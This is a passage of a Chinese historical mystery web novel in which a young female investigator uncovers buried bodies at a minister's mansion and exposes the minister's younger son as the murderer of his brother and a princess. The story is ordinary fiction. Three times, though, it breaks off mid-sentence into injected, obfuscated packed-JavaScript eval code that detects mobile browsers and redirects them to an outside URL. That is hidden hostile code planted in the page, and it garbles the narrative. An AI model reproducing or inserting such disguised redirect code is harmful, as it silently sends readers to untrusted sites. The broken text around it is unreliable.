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“策划谋杀要避人耳目,公主不能找太医院开药,所以选中杏春堂这间小医馆,却没料到杏春堂有留存药方的习惯,她只得派遣暗卫白芷重金购回那张药方,但她又怕掌柜和张大夫因此生疑,最终决定痛下杀手以绝后患,而白芷就奉命再一次回到医馆,伪造了他们意外坠亡的假象。” 不知是因为先前的观点有误、自觉被打了脸,还是因为分析出好友吴烁之死的确有问题,蔡琮佳表现出不可置信和痛心等多种夸张情绪。 蔡瑾瑜拍了他一掌,语气似乎有些无奈:“二兄,我提醒过你很多次了,在没有找到证据之前,不要用下定论的口吻来讲述推测。” 这边蔡家兄妹在争执打闹,另一边的赵望舒却感到纠结疑虑。 按照目前的案情发展,如若汝阳公主杀夫一事属实,那么驸马吴烁的父亲吴尚书和弟弟吴二公子自然最有动机报复公主,但是真相好像并未因此而向她靠近,她还遗漏了什么东西吗? 赵望舒暂时想不出所以然,她只能一贯快速且省时地决定道:“不管怎么说,案情绕不开已故的驸马吴大公子,我们先去一趟吴府,会一会那位吴尚书。” 她匆匆别过母亲,出了宅院的大门就快步返回方才停放车马的杏春堂,就在她牵住一匹马想要骑上去时,身后传来一声呼喊,她没有滞住动作,反而瞬间翻身坐到马背上,随即才回身问道:“殿下,您有什么事吗?” 她笃定冯玄晖又打着在马车车厢里刁难她的主意,但现在他总不能将她从马背拽下来吧? 然而出乎意料的是,他只抬手指了指自己弥漫着笑意的唇边,接着递了一张绢布到她掌心中,没有多说一句话,独自坐进了车驾。 赵望舒愣了好一会才反应过来,她摸向自己的双唇,指尖果然沾到不少碎屑,是方才吃馒头时留下的,她犹豫地盯着手里的绢布,终究还是拿起来擦了擦脸。 马匹被摧动着向前奔跑,而驭马者难得有些心不在焉,她在疑惑,冯玄晖什么时候用上了打一巴掌给一甜枣的招数?他今天演的戏是不是有点过量了? 11. 家丑 吴府。 院墙高耸而密不透风,隐约能望见其中错落有致的亭台楼阁,朱门一开,礼部尚书吴瑁亲自迎了出来。 赵望舒一边听着那个儒雅端方的中年男人和冯玄晖、蔡琮佳客套寒暄,一边打量眼前气派非凡的府邸,若与皇城宫殿相较自然不及,但是也比她家的宅子更为豪奢。 她没觉着惊讶,二十年前,吴、沈、殷、蔡、申五家同为京城望族,殷氏、申氏因为站错了队而销声匿迹,蔡氏作为先帝母族根基愈发深重,吴氏和沈氏是谨慎精明的中立派,虽然没得到从龙之功,但也屹立不倒,自不是赵家这种朝廷新贵可以比拟的。 否则吴瑁怎么会把她当作透明人,却与另外两位谈笑风生呢? 所幸蔡琮佳很快便将主导权交还给她:“吴大人,我们既是为了汝阳公主遇害案而来,具体事宜就由赵小姐与您详谈吧。” 吴瑁这才将目光投向赵望舒,还做出一副仿佛刚刚发现她存在似的神态:“我自当配合,不过这里人多眼杂,赵小姐,还有诸位,我们先进府再议案情。” 一行人跟着他踏入府邸,径直来到待客的正厅落座。 “怎么不见二公子?他也是嫌疑人之一,总该出面让我们问上几句话。” 赵望舒没有喝吴府仆从端到桌前的热茶,也没有像先前安抚连翘一样温水煮青蛙的打算,她毫不掩饰对于吴家父子的怀疑,更是点名让吴二公子吴烨前来受审。 吴瑁脸色一僵,似乎没想到她态度这般强硬,但碍于有太后钦命,他只得派小厮去将吴烨找过来。 在等待间隙,她并未浪费时间,而是先朝着吴瑁发问:“吴大人,从昨夜到现在,公主的各路轶闻都传到我耳边,其中多数与驸马之死有关,您作为驸马的父亲,总不会没听过那些流言吧?” “流言?说是谣言还差不多。” 吴瑁倒没有慌张,他只是轻嗤一声,随即解释道:“不是我这个做父亲的夸大,烁儿才貌品行在京城中绝对名列前茅,只可惜身子骨太弱,经不住劳神费心而无法入仕,因此皇家有意令他尚主时,我很赞成这门婚事,觉得他能做个富贵闲人就很好,虽然后来公主她……不太守礼,但依着烁儿的性情,他们两口子也吵不起来。” “半年前,烁儿回府养病,却病变得毫无征兆,无声无息就那么去了,公主在他逝世前后都没有见上他一面,何来什么与奸夫气死他一说?” 京中流言多称驸马吴烁是被汝阳公主和奸夫一同气死,因此吴瑁主要澄清的也是这一点。 赵望舒不置可否,她只是追问道:“驸马不是应该与公主同居公主府吗?为何会回到吴府养病?您口中‘病变得毫无征兆’具体是什么情况?” 吴瑁疑惑地看了她一眼,像是不解她打探吴烁逝世情形的原因,但他谈起此事亦是不免悲伤,叹一口气便也继续说了下去:“烁儿的病需要静养,公主却喜爱请些不三不四的戏班子、歌舞伎进府表演,半年前那次我实在忍不住,就派人以烁儿他母亲生病为由将他带回家里照顾,那时他看着精气神很好,脸色也比寻常红润,我还以为他病情有所好转,谁知没过几日他就……” 闻言,赵望舒挑了挑眉,按照吴瑁所述,吴烁死前症状完全合乎寒疾患者服用过治疗血虚的大补药材、承受不住药效而在回光返照后突然暴毙。 “大人,二公子来了。” 身后传来小厮为难的声音,众人一齐转头望去,只见面色酡红的吴烨被两个仆从架着带到厅前,随之而来的还有一阵浓郁的酒臭味。 吴瑁瞪大眼睛,似乎觉得恼火兼丢脸,他深呼吸了好几次,方才强装镇定地圆场道:“烨儿昨夜被宫中命案惊得心神不安,故而饮酒纾解,不想此刻还没清醒……你们两个小子真是莽撞,二公子既然行动不便,为什么还把他带来?” 被呵斥的两个仆从面露难色,只是到底不敢反驳。 这时,吴烨甩开二人的手,也甩开了吴瑁递上的台阶:“父亲何必拿旁人撒气,不是您非要找我来吗?怎么样,找到谋害娩儿的凶手了吗?” 后面那半句话显然是对赵望舒说的,她愣了一下才反应过来‘娩儿’是谁——汝阳公主大名齐娩。 她一边暗想吴烨果然醉得不轻,竟然当着这么多人的面直呼公主闺名,一边摇了摇头。 “……这孩子以往跟着他兄长乱喊,幸得公主从不怪罪,未料这习惯现在还没改过来。” 吴瑁干笑几声,表情克制到扭曲的地步,明眼人都能看出他已经气得发抖,但他仍在强撑着为儿子找补。 然而吴烨不知是真有那么深情迷恋公主、以至于被她的死刺激到失去理智,还是故意要与吴瑁对着干,他又一次砸了场子。 “父亲,兄长都已逝去半年了,娩儿早不是我的嫂嫂,若非你阻拦,我们该成为一对眷侣,而不是阴阳两隔……” 说到此处,吴烨突然指着吴瑁大声喝问:“你是不是因为这件事杀了她?” 众人以为他要大义灭亲,可是转瞬之间,他又将矛头指向蔡瑾瑜:“蔡小姐,你是不是凶手?你记恨娩儿贬损蔡家对不对?” “凶手……还有谁?” 原来还是在发酒疯,赵望舒瞧见吴烨转向冯玄晖所处的座位,她不禁勾起唇角,等着看这笑面虎的好戏。 只可惜吴瑁打断了她的兴致,他忍无可忍般起身上前狠狠扇了吴烨一个耳光:“混账东西,还要胡言乱语到什么时候?指望你做吴氏的顶梁柱,不如叫你赶紧成家生子,这样我死前还能把孙辈培养成像你兄长那样的英才……” 往常目睹这类家庭纠纷,旁观者要么劝解要么回避,但是在场的人皆与吴家交情不深,又是为了正事而来不愿离去,便也只能尴尬地硬坐着看完全程。 吴瑁在打骂儿子过后怒火渐退,神色逐渐转为难堪,显然在外人面前展露家丑令他感到面上无光,他以吴烨神智不清、无法正常应付问话为由命人把他架走,随后他自己也匆匆告辞,留下一位姓胡的管家接待她们。 赵望舒没有因为吴家父子的退场而被打乱调查节奏,她语气温和地朝胡管家开口道:“吴氏是名门望族,你能在这样的门户里当管家,想必资历深厚。” “小人服侍家主确实已有十数年,只是不敢称资历深厚。” 胡管家五官端正,看着倒像个中年文人,唯有举手投足间流露出的拘谨符合他管家的身份。 赵望舒试探着询问道:“那你理应了解这府里的情况,方才一番谈话,我已能听出来吴大人很重视已故的大公子,那么二公子和大公子的关系怎么样?” “大公子和二公子自是兄友弟恭。” 这一听就是虚伪的话术,她觉得哪怕问吴瑁和吴烨的相处,胡管家也会说父慈子孝。 发觉胡管家口风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792312|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够紧之后,赵望舒立刻放弃了从他这里套话,转而提出要求:“我们想到大公子生前的居所看一看,不知是否方便?” 胡管家略一迟疑,但或许考虑到大公子吴烁毕竟已经故去,就算让她们参观一下吴烁的住处也不会闹出什么波折,他最终没有回绝。 众人在胡管家的带领下走在吴府装潢精美的廊道上,赵望舒刻意放缓脚步,渐渐后撤到蔡家兄妹身旁,她趁势压低声音对蔡琮佳重复了刚才询问胡管家的问题。 “你早该问我的,说不定我知道的不比那个管家少……” 说话间,东拉西扯的蔡琮佳又被蔡瑾瑜拍了一掌,他这才正色回答道:“吴烁和我一样是个好兄长,他弟弟吴烨却并不值得。” “这事要从十年前说起,那时的吴烁很健康、也没患有什么寒疾,他在自己的生辰宴上意气风发,每个宾客都认为他前途无量,不过他不耐烦应酬,我们几个伙伴就陪他一起溜到后院,后院有个四尺多深的人造湖,湖边栽着一颗二人高的树,我们见到他弟弟吴烨趴在树上,直朝着他喊救命。” “吴烨小时候可不比现在人高马大,他要是掉下去必定要沉到湖底,于是我们几个尝试爬树,吴烁则毫不犹豫跳入水中以防万一,但你们猜怎么着?好几次我差点抓到吴烨准备把他带下来,他却掐着点往上爬,等我们终于意识到他是故意拖延时间,吴烁已经在水里冻坏了。” 话音刚落,她们恰好路过吴府后院的那颗大树,树边仅有栽满植株的花圃,那处人工湖定然早被填平了。 原来吴烁的体弱多病并非先天不足所致,感受到落满花草树木的飘雪被风吹进廊道中,赵望舒拢了拢身上的狐皮大氅,但她心底的寒意却挥之不去。 “大公子为救二公子留下一身病痛,而且听上去这件事始末还是二公子刻意设计,他就没有半点愧疚和动容吗?” 对于这个问题,蔡琮佳表现得非常不忿兼鄙夷:“你觉得一个敬重兄长的人会屡次公开向嫂子表露爱意吗?吴烨可不是在吴烁死后才开始追求公主的。” “如果吴尚书是凶手,公主之死就是仇杀,如果吴烨是凶手,则为情杀,他那种狼心狗肺的人绝无可能为兄报仇。” 蔡瑾瑜翻了个白眼,显然觉得蔡琮佳又犯了妄下定论的毛病,赵望舒倒没有质疑反驳,只是点明目前疑团的关键:“报仇的前提是知悉仇怨前因后果,我从公主寝殿找到药方,进而推测出吴大公子的死另有隐情,但吴尚书又是从何知晓呢?” “吴烁死前待在吴府养病,而非公主府,那么公主想要通过换药悄然害死吴烁,她就必须收买吴府里的仆从替她做事,因此暴露的风险增高,吴尚书又是吴府的主人,他在事后发觉异常,进而获悉内情,这说得过去。” 正如蔡琮佳所言,这段猜想说得通,但赵望舒却认为离真相还差了些什么。 她出神地思考着,不经意间撞上了什么硬物,额间传来轻微的疼痛,她一边抬手按揉以作缓解,一边瞧向眼前人。 “聊得这么入迷?” 冯玄晖意指她是因全心投入与蔡琮佳的谈话而没有看路,即便他口吻寻常,这话语也足够阴阳怪气了。 她颇感莫名其妙,但因为这次是她不小心撞到了冯玄晖,她自觉不占理,也就没有与他争执,道了句抱歉之后越过他继续前行,全然没有发现对方愈发漫溢的笑容和暗藏阴郁的眼神。 12. 藏尸 吴烁居住的院落景致极好,庭前假山与树木环绕,几乎形成一处小园林,凉亭旁辟了一口池塘,只是池水极浅,浅到就算人掉下去也仅是踩个水的程度。 赵望舒在院中转了一圈,没有见到半个仆从的身影,她不由回到胡管家面前询问道:“这地方干净整洁,想必是经常打扫所致,但除我们之外并无她人侍立四周,大公子原先的仆从呢?” “大公子的贴身仆从因为在他死后手脚不干净、偷盗他的遗物,家主一怒之下就将他们发卖了,至于那些杂役则被调到其它院里,每月回来打扫一次大公子的故居。” 胡管家的回答却有些出人意料,又给吴烁之死蒙上了一层疑云。 贴身仆从一般极得主人信任、资历深厚,其中有一个品行不端也就罢了,但是全部都偷盗遗物——那吴烁的眼力未免太差,而按照吴尚书的形容,他可不是糊涂的人。 吴烁的死因本就不对劲,他的贴身仆从还被尽数发卖,那些人真的犯了事吗?还是因为发觉异样遭到牵连? 赵望舒让胡管家找几个先前伺候过吴烁的杂役过来,迫于周围披甲执锐金吾卫的威慑,胡管家不敢推脱、马不停蹄地依言去寻人。 她则踏入吴烁的寝房,房内一如庭院般纤尘不染,置放着许多典籍书册,她粗略翻看一遍,只找到一沓男女对诗的信纸,应是吴烁与汝阳公主所留,光看字里行间的绵绵情意,倒真想象不出公主会对其狠下杀手。 赵望舒放下信纸,忍不住叹了一口气,如今搜不出有用线索,又没有切实证据证明吴烁死因有异,毕竟一来她不可能把对方从坟墓里挖出来验尸,二来时隔半年尸体早已化作白骨,无法查出药物致死的痕迹。 这样下去,她连那些嫌犯的杀人动机都无法确认,更别提将真凶绳之以法了。 “望舒,我……我闻到庭院里有腐臭味!” 就在她暗自苦恼时,匆忙而轻盈的脚步声传进房中,康瑞叶气喘吁吁的甩下这句话,然后不由分说地拽着她往外跑。 两人停在一丛百合花圃前,康瑞叶重复强调这里的腐臭味有多么浓郁,她却只闻到百合清香,不过她没有忽略对方的发现,而是伸手从花草底下拈起一块土壤,放到眼前仔细观察—— “这些花是新近移植的。” 得出这个结论后,赵望舒迅速作出决定,她招来金吾卫吩咐道:“从这里开始,把整片花圃挖开。” 或许因为背靠太后,金吾卫毫不顾虑是否身处世家府邸,她们果断执行了她的要求、效率极快地翻动着花圃下的土堆,这番动静自然引来冯玄晖、蔡瑾瑜和蔡琮佳三人的瞩目。 没等任何人开口说些什么,一阵剧烈的腐臭味突然飘散在空气中,取代了百合花香,让在场众人瞬间捂住口鼻。 赵望舒和康瑞叶离得最近,自然也最先受到腐气的冲击,嗅觉过于敏锐的后者忍受不住、已经跑去远处干呕,她却仍定在原地,第一时间瞧见随着土壤渐少而显露出的截截白骨和……苍白尸体。 肉眼可见,那堆白骨绝不仅属于一个人,两具腐烂程度较轻的女尸倒是保存完整,而当其中一具露出真容时,她本能地瞪圆了双眸—— 赵望舒从怀中取出画像,忍着胃里翻江倒海的感觉倾身上前,将其举在尸体旁边,尸体与画像的五官重合在一起,描摹出一张平平无奇、无甚记忆点的面容。 “白芷?她怎么会死?她的尸体又怎么会出现在吴烁的院子里?” 蔡琮佳诧异的惊叫声在身后响起,伴随着无数疑问。 而在寻找答案之前,赵望舒先转过身扫了一眼刚刚返回的胡管家和被他带来的几个杂役,旋即下令道:“封锁这个院子,任何人都不得出入。” 这既是为了防备胡管家向府邸主人吴瑁通风报信,亦是为了争取时间。 赵望舒脱下厚重氅衣,习惯性地递给身后的人,复又解下腰间荷包,倒出其中的皂角苍术,以火折子点燃放置在盆中焚烧,因此而产生的气味顿时掩盖住尸体腐臭。 随后她抽走发髻间两支玉钗,满头青丝松散披在肩头,而她毫不在意,只拆开玉钗拿起内里不显眼的银色细短刀刃,将其拼接成一柄柳叶刀。 “看来宫禁搜身时,金吾卫应该把钗饰列入检查范围之内。” 耳畔的低沉嗓音很熟悉,听上去像是在暗讽她私携利器、罪同刺客,还同时贬损了金吾卫的能力,她回身瞥向冯玄晖,未等启唇回敬几句,却先发现自己的氅衣正挂在对方臂弯上。 “……” 方才竟然错将衣服递给了他?他为什么不吭一声? 被这么一打岔,赵望舒的情绪又恢复了平静,便只公事公办般为自己和金吾卫开脱道:“仅是防备,难免防不胜防,譬如凶手就能在宫中置办弓弩犯案,但臣女相信即便有人持有利器,金吾卫也足可及时将之制服,不会使危险靠近太后与陛下。” 说罢,她一边戴上手套弯腰蹲到尸体旁边,一边劝告身后那人:“还请殿下退避站远,否则将尸体的血污溅到您身上,臣女可是担待不起。” 回应她的只有一声轻笑,显然冯玄晖不以为意。 有他做对比,自告奋勇要帮忙拼凑复原那堆白骨的蔡瑾瑜就显得非常热心兼友善:“我不懂验尸之道,但我自小跟随长兄混迹军中,与军医学习疗伤,也多次替将士收敛尸骨,对人体各处骨骼的结构还算有些了解。” 拼接白骨这一繁琐工作被人分担之后,赵望舒也就能够专心投入到那两具尸体的查验中。 她当然选择首验白芷的尸体,隔着手套,她摸了摸尸表暗绿色的皮肤,触感柔软,再顺势用力按压皮肤上的尸斑,但那些淡紫斑点却毫无褪色迹象,反而是一些蛆虫被掐了出来。 周围人干呕的声音接续回荡在院中,而她若无所觉,只是陷入到一阵震惊的情绪中—— 尸僵消失、尸斑固化、蛆虫侵蚀皮肤、还有尸绿现象的出现,无不说明死者的死亡时间距今已经超过四日,结合冬季低温对尸体的影响,甚至可以推算到五日以前。 但杏春堂掌柜和张大夫死于上元节前夜,也就是前天晚上,而那时白芷早已变成一具尸体,无法行杀人之举。 赵望舒的手指拂过尸身上狰狞的伤痕,仔细一数,竟足足有二十三道,不过伤处深浅不一,像是搏斗中乱刀所致,真正的致命伤唯有脖颈前那道割断喉管、几乎要将死者头颅砍下的血痕。 先前在柔福殿,陈公公曾提及身为暗卫的白芷武功高强,杀死她的凶手能够与她正面搏斗取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792313|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜,可见武技过人。 验完白芷死因,赵望舒没有停下动作,而是来到另一具尸体旁,死者的身份姓名她一概不知,只能看出对方年纪很轻,应该与她岁数相当,这一认知让她心情愈发沉重。 这次她查验的速度很快,因为这名死者的尸体症状与白芷近乎一致,除却身上没有那么多伤痕,死因则是被锐器刺中心脏、一击毙命。 她最后抬起尸体的双手,十指指尖的厚茧映入眼中,她心中隐隐有了猜测。 “你们认得这具尸体吗?” 赵望舒将胡管家身边那几个正在瑟瑟发抖的杂役喊到近前,催促他们低头直视尸体。 那几人许是为了少看几眼地上惨白诡异的尸体,瞬间就异口同声地给出了答案:“认、认得,她是木香,大公子的侍女。” “大公子一共有几个贴身仆从?描述一下她们的年龄、身高等特征。” 她又是一番追问,几名杂役不敢犹豫敷衍,连忙回道:“两名侍女和两名小厮,算上木香正好是四人,因着大公子卧病后喜热闹,所以均选了年轻活泼的仆从,小厮里有一个长得特别高……” 这时,蔡瑾瑜转过身告诉她,那些白骨已经被拼接复原成三具尸骨。 她立刻俯身察看那三具尸骨,推算尸骨主人的身量年龄,结果无一不与杂役们的描述吻合。 胡管家口中因犯事被赶出府的吴烁贴身仆从,三个如今已化作白骨,至少死亡两三月以上,抑或根本就是同吴烁前后脚赴了黄泉,而唯一幸存的木香却与汝阳公主的暗卫白芷同样死于五日前。 吴烁的贴身仆从和白芷因何而死?谁是制造杏春堂双死坠亡案的真凶?这一切又与汝阳公主遇害一案有什么联系? 疑问一个个浮上心头,但也就在片刻之间,赵望舒已然推出谜底。 她没有立即交代些什么,而是走到康瑛面前,压低声音询问道:“康将军,昨夜案发之后,金吾卫一直紧盯着每个嫌疑人的一举一动是不是?” 昨夜冯太后放人出宫回府,并非就打算任由凶手蒙混过关、趁机销毁更多痕迹,她一定派遣了金吾卫监视每个嫌疑人,而那些人也大抵心知肚明,只不过金吾卫职能并不包括监察百官,因此这种事不能放到明面上。 康瑛果然迟疑了一会,这也无异于默认。 “凶手为了栽赃陷害张统领,放一把假凶器在张统领营帐中,意味着他不能将真正用来杀人的弓弩随意弃于宫里,而且碍于嫌犯皆身份贵重,显然无法进行搜身,所以凶手很有可能冒险将凶器藏在身上,既然金吾卫没有目睹任何人处置凶器,那就说明它还在这里……” 赵望舒一口气说完,随即在众人惊讶不解的目光中缓缓开口:“康将军,烦请你让府里甚至府外候着的金吾卫一并进来,把这吴府上下搜查一遍,哪怕翻箱倒柜也要找出凶器。” “赵小姐,你也说了,这些嫌疑人身份特殊,否则我们不会放弃在案发当时给他们搜身,而吴尚书更是吴氏一族的家主,就算是金吾卫,亦无法承受得罪吴氏的代价……” 康瑛罕见地显出几分为难,没有像往常一般雷厉风行。 与之相反,赵望舒却神色凛然,她语气坚毅地重复道:“尽管搜,一切后果我来承担。” 13. 反转 名门望族向来规矩严谨,吴府亦是将上下教导约束,营造出清净雅致的宅邸环境,为京中文人墨客竞相吹捧。 然而今日午间,这里却响动着无数翻箱倒柜甚至掘土掀瓦的噪音,惹得邻里纷纷暗中注目。 “你们这是什么意思?即便是金吾卫,就敢如此轻慢辱没我们吴家吗?” 府邸被大肆搜查的动静将正在书房中训斥儿子的吴瑁引了出来,他一见这场景果然大发雷霆,怒气比先前更甚。 赵望舒没有躲到后面让康瑛替她遭受问责,她说到做到,直接朝着吴瑁解释:“这是我的主意,吴大人不必为难康将军和金吾卫。” “你?赵小姐?” 吴瑁瞪视着她,似乎已经顾不得她有冯太后的授命,口吻不复克制与忌惮:“你莫非以为仗着年轻就能惹是生非、换来他人谅解?难道你祖父不曾教过你人情世故?明日上朝,我倒要好好问问他,如此教女无方,是不是该参一个治家不严之罪……” 他咄咄逼人,赵望舒却只是平静地站在原地听着,既不慌乱也不辩解,看上去倒像吴瑁在无理取闹一般,又将对方气得拔高了音量。 身后众人也反应不一,蔡瑾瑜和蔡琮佳兄妹试图出言劝止,康瑛焦急等待搜查结果,而冯玄晖虽然作壁上观,但紧盯着赵望舒,眼神中似有兴味。 就在双方紧张对峙时,金吾卫带来了一样东西,导致局面瞬间反转,赵望舒接过那把小巧的弓弩,她挑眉轻笑,声线依然柔和,言语间却不失锋芒:“吴大人,现在你们要面临的可不止治家不严这种小打小闹的罪名,而是谋杀皇室公主的重罪。” 闻言,吴瑁的第一反应是困惑茫然,随后他像是想到了什么,猛地侧头瞥向身旁的次子吴烨。 “烨儿喜好骑射打猎,府里自然备有各类弓箭,就算你们再搜出多少把弓弩,也不能妄言那是杀害公主的凶器。” 吴瑁的口吻仍旧理直气壮,仿佛毫无心虚,但他嗓音的微颤到底暴露了些许真实情绪。 赵望舒没有与他争执,而是正色追问道:“你是说,这把弓弩一直放在吴府的库房中,仅供二公子骑射打猎使用?” 吴瑁果断点头,生怕迟疑片刻就会让他证词的可信度降低。 ?“弓弩是在哪里被找到的?” 谁料赵望舒却转过身向递交凶器的金吾卫询问,得到‘酒窖的酒桶里’这个答案后,她眼尾上挑,双眸中闪过一丝狡黠:“原来是在酒窖,而非库房,吴大人该不会要说你记错了?又或者二公子连喝酒时都得骑射?” 吴瑁愣了一会,等他意识到赵望舒在使诈时,他已完全中套、没有找补的余地。 “看来你们父子俩没有串好口供。” 事已至此,赵望舒顺利掌握了主导权,她不再和吴瑁打机锋,而是将视线转向对方身侧的吴烨,意味深长地说道:“不过也是,二公子怎么敢把他做的事告诉你呢。” “你怀疑烨儿谋杀公主?” 吴瑁循着她的目光同样注视着垂首不语的吴烨,旋即他深吸了一口气,仿佛下定决心般开口:“如今我也不遮掩了,这逆子确实罔顾人伦,对身为寡嫂的公主迷恋爱慕,但正因如此,他绝不可能伤害公主。” “至于什么得不到就毁掉的狂言,那不过是烨儿酒醉迷糊时所说,他为求公主眷顾,已拒绝数桩婚事,他不舍得也不敢谋害公主的。” 这番说辞听起来倒是有些说服力,至少周围众人怀疑的神色都有所松动。 可是赵望舒却只摇了摇头:“公主之死与什么爱恨情仇无关,一切皆因人命而起,也以人命落幕。” 吴瑁不明其意,旁观的诸人亦是皱眉纳闷,唯独吴烨终于抬起头,他的身上仍残留着酒气,可神色间分明不带半分醉意,而是暗藏阴狠。 吴烨的表情被赵望舒尽收眼底,但她连冯玄晖都敢顶撞,当然不会为此生出退缩之意。 她从袖中取出纸张,一边向众人展示纸上内容,一边准备切入正题。 “寒夜落雪惨别离,彩灯万盏,难照孤影,思卿入梦复往事……” 却听吴瑁用怪异语气念起几句意境悲戚的诗词,细细分辨,还像是悼亡情人的祭文。 她疑惑地望向吴瑁,对方却也用相同神情盯着她,她更觉奇怪,脑海中飞速思考着,指尖则无意识地摩挲起纸张,如棉般柔软的触感传来,她恍然大悟,立即将手腕一转,纸张上行云流水的笔迹映入眼帘,而字词果是方才吴尚书所念的那几句。 糟了,一时着急,她竟将皇帝齐慕远给的御笔诗作当成杏春堂药方拿了出来。 耳边响起低笑声,她不用回头就知道声音的主人是谁,毕竟在场只有冯玄晖亲眼目睹她索要皇帝墨宝的场景,也只有他能在这种僵持情势中毫无顾忌的发笑。 赵望舒努力忽略他,也努力平复心中的尴尬,她轻咳一声,若无其事地收起那张御用宣纸,又将真正的药方举了起来。 “首先,要从西市真定坊的一间小医馆杏春堂说起,上元节当日清早,杏春堂掌柜和一名张姓大夫的尸体被发现,两名死者疑似酒后冲突导致意外坠亡,但经过本人查证,这却是一桩谋杀案。” “然后,宫中伴君赏灯,汝阳公主的死讯传来,金尊玉贵的公主和名不见经传的民间大夫,就算死在同一天,也没人会将二者联想在一起——直到我在公主寝殿搜出一张保存隐匿的药方,而这药方就出自杏春堂。” 她还未讲到重点,只是吴瑁显然没什么耐心,他直接出言打断道:“你说的这些与烨儿有什么关系?” “吴大人别着急,我说的不仅与二公子有关系,还和大公子之死牵扯颇深。” 赵望舒将药方中几味药材足以导致寒疾患者暴毙身亡的药理详细说明,又补充了公主安排暗卫以黄金换取药方的事情。 吴瑁最为清楚长子吴烁的病情,他脸上青白交加,显然产生了和蔡琮佳同样的猜想,觉得种种迹象皆表明汝阳公主使用药方悄无声息害死吴烁,但他却选择说出违心之言:“烁儿已经故去半年,仅凭一张药方,怎能断定他死因有疑?更别提以此为动机指控烨儿或者我报复杀害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“吴大人,别以为吴烨杀人占理,我还没说完杏春堂的案件呢。” 她吩咐金吾卫搬出了在吴烁院子里挖出的两具尸体和三副尸骨,旋即有条不紊地解释道:“刚才我已提及,公主安排暗卫白芷在七天前带着黄金到杏春堂交换药方,当时白芷穿了一身黑斗篷,而杏春堂掌柜与张大夫坠亡那晚,有目击者供述一个披着黑斗篷的人出现在附近,于是我们理所当然认为黑斗篷是同一人,进而怀疑公主谋害了吴大公子、又指使白芷毁灭证据和证人。” “但是杏春堂坠亡案发生于前夜,我们却在大公子的院里挖出白芷尸体,她已经遇害至少五天以上,一个死人是没办法犯案的。” “另一具女尸的死亡时间与白芷相同,吴大人你应该对她的容貌有印象,因为她是大公子曾经的贴身侍女木香,那三副尸骨大抵很难辨认,但各种特征都同大公子另外三名仆从吻合——管家说你以偷盗遗物的罪名将他们发卖,他们实际却早已深埋黄土……” 在众人震惊又不可置信的瞩目之下,赵望舒一边面向吴烨,一边揭开最终谜底:“吴烨,你确实是个罔顾人伦的畜生,但并非因为你迷恋寡嫂,而是攸关你残害八条人命也要掩盖的事实——你才是谋杀吴大公子的真凶。” 14. 秘辛 话音落下,四周鸦雀无声,众人像是被惊到失语,又或许一时无法接受这骇人听闻的真相。 “不可能!公主也就罢了,烁儿是烨儿的同胞兄长,他怎么可能……” 吴瑁最先回过神来,他一边否认赵望舒的指控,一边连续不断地摇头,不知究竟是在说服旁人,还是在说服他自己。 与他相较,赵望舒则表现得格外平静:“吴烨不到十岁就会使用苦肉计损伤兄长的身体,他怎么不可能弑兄呢?” 这句轻飘飘的反问让吴瑁陷入沉默,他瞪了吴烨一眼,显然对于次子曾算计过长子的事情心知肚明,但先前会对吴烨动厩打骂的他,如今却拼命为其辩护:“那都是误会,烁儿温和包容,烨儿懂事后也对兄长恭敬相待,弑兄什么的,简直是危言耸听……” 赵望舒没有急着同吴瑁争执,她只用一种怜悯又不失嘲讽的神情看着他,直叫这自矜世族家主身份的中年男人屈辱得渐渐低了声音,彻底说不下去。 她又转头盯了吴烨半晌,确定对方决心保持沉默之后,她没有浪费时间审问他,而是对着他从头到尾梳理了一遍案情:“半年以前,你趁着长兄吴烁回府养病,将治疗血虚的药与其日常所服药物调换,成功把谋杀伪造成意外,但为防吴烁身边的人察觉,你设计污蔑他的贴身仆从偷盗遗物,导致他们被赶出吴府,然后灭口了其中三人。” “侍女木香幸存逃生,公主大抵就是通过她知晓吴烁的死因存疑,因而派遣暗卫白芷一路追查,查到开药的杏春堂,恰好杏春堂有备份药方的习惯,公主拿到了证物,她很快就约见心中第一怀疑的人,不幸的是,她猜对了。” “五日前,公主甩开仆从出宫与你对质,引发你的杀心,一回生二回熟,你当天就开始行动,连杀白芷和木香,并将她们的尸体埋进吴烁院子的花圃中,当然,你没有忘了把杏春堂的掌柜和当初为你开药的张大夫一并灭口。” “相较之下,谋害公主的时机很少,未免夜长梦多,你选择在上元夜宴期间作案,但当晚的宾客名单无法确定,所以你挑中一个无法避免嫌疑的人充当替罪羊,也就是羽林卫的张统领……” 末了,赵望舒还叹着气补充道:“我已经问过府上的花匠,他们说你经常亲自去领百合花移植到吴烁院中,赞叹你对已故兄长的用心,却不知道你只是为了借百合的浓郁花香掩盖尸臭味。” 用心倒是真用心,可惜全用在谋杀害命上。 现在物证齐全,在场众人注视着吴烨的目光变了几回,吴瑁更是震惊地退了半步,仿佛无法继续自欺欺人,认清自己身旁站着的不是仅有些小毛病的浪荡儿子,而是一个半年间连杀九条人命的活畜生。 “孽畜,当年就不应放过你,合该直接把你丢进湖中溺死,至少我吴氏一族不必被牵累……” 